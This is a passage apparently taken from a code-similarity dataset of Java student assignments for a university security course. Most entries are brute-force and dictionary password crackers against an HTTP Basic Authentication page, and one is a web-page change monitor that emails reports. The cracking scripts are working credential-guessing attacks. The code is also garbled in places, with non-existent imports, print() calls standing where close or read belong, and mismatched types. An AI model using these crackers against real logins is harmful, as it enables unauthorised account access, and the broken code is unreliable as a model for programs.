\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
\ }\n }\n \n public static void main( String[] args)\n {\n\
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
\ elements loaded\");\n }\n}\n \n"
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.String;\nimport java.*;\n\
import java.util.*;\n\npublic class BruteForce {\n private static final int passwdLength\
\ = 3; \n private static String commandLine\n = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\
\ -I -u :\";\n private String chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n private int charLen = chars.length(); \n private int n = 0; \
\ \n private int n3 = charLen*charLen*charLen; \
\ \n private String response;\n private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];\n\
\ private char[][] data = new char[passwdLength][charLen];\n private char[]\
\ pwdChar2 = new char[2];\n private char[] pwdChar = new char[passwdLength];\n\
\ private String url;\n private int startTime;\n private int endTime;\n private\
\ int totalTime;\n private float averageTime;\n private boolean finish;\n private\
\ Process curl;\n private BufferedReader bf, responseLine;\n\n public BruteForce()\
\ {\n\n first();\n finish = true;\n charLen = chars.length();\n for(int i=0;\
\ i<charLen; i++)\n for(int j=0; j<passwdLength; j++)\n {\n data[j][i]\
\ = chars.charAt(i);\n }\n Runtime run = Runtime.getRuntime();\n n = 0;\n\n\
\ \n for(int i=0; i<charLen; i++)\n {\n password[n++] = chars.substring(i,i+1);\n\
\ }\n\n \n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen; k++)\n\
\ {\n pwdChar2[0] = data[0][j];\n pwdChar2[1] = data[1][k];\n\
\ password[n++] = String.copyValueOf(pwdChar2);\n }\n\n \n for(int\
\ i=0; i<charLen; i++)\n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen;\
\ k++)\n {\n pwdChar[0] = data[0][i];\n pwdChar[1] = data[1][j];\n\
\ pwdChar[2] = data[2][k];\n password[n++] = String.copyValueOf(pwdChar);\n\
\ }\n n = 0;\n startTime = new Date().getTime(); \n try {\n while(true)\
\ {\n url = commandLine+password[n++];\n if(n>=n3) {\n System.out.println(\"\
\\n not find the password for user .\");\n finish = false;\n break;\n\
\ }\n curl = run.exec(url); \n responseLine = new BufferedReader(new\
\ InputStreamReader(curl.getInputStream()));\n response = responseLine.readLine();\n\
\ \n \n if(response.substring(9,12).equals(\"200\")) break;\n responseLine\
\ = null;\n }\n }\n catch(IOException ioe){\n System.out.println(\"\\n\
\ IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\
\ System.out.println(\"The current trying password is:\"+password[n-1]);\n\
\ finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime\
\ = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"\
+ totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" \
\ The password for is:\"+ password[n-1]);\n try {\n savePassword(password[n-1],\
\ totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\"\
\ not save the password file BruteForce_pwd.txt \");\n }\n }\n }\n\n public\
\ void first() {\n\n System.out.println(\"\\n\\n---------------------------------------------------------------\"\
);\n System.out.println(\" Use curl command Brute Force the password for\
\ user .\");\n System.out.println(\" Attention: curl should able run at\
\ your directory\");\n System.out.println(\" without setting the Path\
\ for it.\");\n System.out.println(\"---------------------------------------------------------------\"\
);\n }\n\n\n public void savePassword(String passwdString, int time) throws\
\ IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"\
BruteForce_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\
\\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(time1.toString(time));\n\
\ outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n\
\ public static void main(String[] args) {\n new BruteForce();\n } \n}\n"
- source_sentence: "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic\
\ class BruteForce\n{\n public static void main(String[] args) throws Exception\n\
\ {\n \n String password = checkPassword(); \n\n System.out.println(\"\
Congratulations Your password is \"+ password );\n \n \n\n URL\
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\
\ sec = (HttpURLConnection)url.openConnection();\n sec.setRequestProperty(\"\
Authorization\", \" \" + encode(\":\"+password));\n BufferedReader in = new\
\ BufferedReader(new InputStreamReader(sec.getInputStream()));\n String inputLine;\n\
\n while ((inputLine = in.readLine()) != null)\n System.out.println(inputLine);\n\
\ in.close();\n }\n\n \n\n private static String checkPassword() throws\
\ Exception\n {\n String Password=\" \";\n int attempt=0;\n URL\
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\
\ sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\"\
,\"i\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"o\",\"p\",\"q\"\
,\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n \
\ \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"\
V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i < cad.length; i++)\n \
\ {\n for (int j=0; j< cad.length;j++)\n {\n for\
\ (int k=0; k<cad.length;k++)\n {\n attempt++;\n \
\ String Passwd = new String(cad[i]+cad[j]+cad[k]);\n \
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \
\ {\n Password=Passwd;\n return Password;\n\
\ }\n sec.disconnect();\n } \n \
\ } \n } \n return \"Password not found\";\n }\n\n private static\
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \
\ return encodedUserPasswd;\n }\n}\n\n"
sentences:
- "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader\
\ bf;\n\tprivate String line=\"\";\n\n public static void main (String argv[])\
\ throws Exception { \n ReadDictionary rd=new ReadDictionary();\n\t rd.openFile();\n\
\t for (int inx=0; inx<800 ;inx++ )\n\t {\n\t \tSystem.out.println(inx + \"\
\ \" + rd.readLine() );\n\t }\n } \n\t \n \n\n\tpublic void openFile()\n\
\t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
)));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\
\t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\
{\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length()\
\ >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\
\t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\
\t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t\
{\n\t\tthis.bf = bf;\n\t}\n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\nimport\
\ java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\
import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\
\ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\
\ void main(String[] args) throws Exception {\n String pass;\n int\
\ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\
\ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\
\n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\
\ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\
\ while (!flag)\n {\n try{\n line = reader.readLine();\n\
\ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
);\n URLConnection yc = url.openConnection();\n pass\
\ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\
\ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \
\ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\
\ String inputLine;\n while ((inputLine = in.readLine())\
\ != null)\n System.out.println(inputLine);\n \
\ in.close();\n System.out.println(pass);\n flag=true;\n\
\ System.out.println(System.currentTimeMillis()/1000); \n \
\ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\
\ }catch(IOException e){\n \n }\n \
\ } \n }catch(FileNotFoundException e){\n System.out.println(\"\
File not found\");\n\n }\n }\n}"
- "import java.io.*;\nimport java.util.Date;\n\n\n\n\n\nimport java.jscape.inet.http.*;\
\ \n\n\n\n\n\n\n\nclass BruteForce\n{\n public static void main (String args[])\
\ throws Exception\n {\n String username = \"\";\n byte asciiLower[]\
\ = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};\n\
\ byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};\
\ \n \n int errorMessage = 401;\n int firstPosition = 0;\n int\
\ secondPosition = 0;\n int thirdPosition = 0; \n int number = 1;\n\
\ int attempts = 0;\n \n Http http = new Http();\n HttpRequest\
\ request = new HttpRequest (\"http://sec-crack.cs.rmit.edu./SEC/2/\" );\n \
\ Date startDate = new Date(); \n \n \n \n for(firstPosition\
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one = new\
\ String (asciiLower, firstPosition, number);\n String password = one;\n\
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n break;\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for(firstPosition\
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one\
\ = new String (asciiUpper, firstPosition, number);\n String password\
\ = one;\n request.setBasicAuthentication(username,password);\n \
\ HttpResponse response = http.getResponse(request);\n errorMessage\
\ = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n }\n }\n\n\
\ \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\
\ one = new String(asciiLower, firstPosition,number);\n String two\
\ = new String (asciiLower, secondPosition, number);\n String password\
\ = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ } \n\n \n\n if (errorMessage == 401)\n { \n for\
\ (firstPosition = 0; firstPosition < 26; firstPosition ++)\n { \n \
\ for(secondPosition = 0; secondPosition < 26; secondPosition++)\n \
\ {\n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if(errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\
\ one = new String(asciiUpper, firstPosition,number);\n String two\
\ = new String (asciiLower, secondPosition, number);\n String password\
\ = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \
\ String one = new String(asciiLower, firstPosition,number);\n \
\ String two = new String (asciiLower, secondPosition, number);\n \
\ String three = new String (asciiLower, thirdPosition, number); \n\
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ } \n }\n\n \n\n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiUpper, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n if (errorMessage\
\ == 200)\n break;\n } \n }\n\n\n \n\n \
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiUpper, firstPosition,number);\n String\
\ two = new String (asciiLower, secondPosition, number);\n String\
\ three = new String (asciiLower, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ } \n }\n\n \n\n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n String one = new String(asciiLower, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \
\ String one = new String(asciiLower, firstPosition,number);\n \
\ String two = new String (asciiLower, secondPosition, number);\n \
\ String three = new String (asciiUpper, thirdPosition, number); \n\
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ } \n if (errorMessage == 200)\n \
\ break; \n }\n if (errorMessage == 200)\n \
\ break;\n }\n }\n\n \n\n if (errorMessage ==\
\ 401)\n {\n for (firstPosition = 0; firstPosition < 26; firstPosition\
\ ++)\n { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiLower, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiUpper, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n } \n if (errorMessage\
\ == 200)\n break; \n }\n if (errorMessage\
\ == 200)\n break;\n }\n }\n\n \n\n \
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiLower, firstPosition,number);\n String\
\ two = new String (asciiUpper, secondPosition, number);\n String\
\ three = new String (asciiLower, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n }\n\n \n \n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiLower, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n }\n\n \n\n if\
\ (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiUpper, firstPosition,number);\n String\
\ two = new String (asciiLower, secondPosition, number);\n String\
\ three = new String (asciiUpper, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n }\n \n \n Date endDate = new Date();\n\
\ System.out.println(\"Password crack finished: \" + endDate);\n System.out.println(\"\
Password crack started: \" + startDate);\n System.out.println(\" of attempts:\
\ \" + attempts);\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n \n\n \
\ \n\n \n\n\n\n\n\n \n \n \n "
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\n\
import java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\
\tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\
\ email=\"@cs.rmit.edu.\";\n private final String from=\"[email protected].\"\
;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\
\ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\
\ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\
\t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\
\t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\
/temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\
\t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t\
{\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\
\t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\
\t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\t\
url=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\
\t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\
\t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\t\
System.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"\
mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\t\
else\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\
\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String\
\ url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going\
\ check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\
\n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\
\t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\"\
. Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t\
\ log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"\
Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String\
\ pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new\
\ PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\
\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\
\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\
\ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\
\ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\
\",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\
\ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\
n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\
\t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\
temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\
n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\
\t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\
\t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\
\t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\
\t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\
\"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\
\ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\
\t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\
n The number of images before was \"+numImg+\" \\n While the number of images\
\ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\
\ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\
\t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\
\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\
\ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
+\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\
\\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\
iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\
\t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\
\ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\
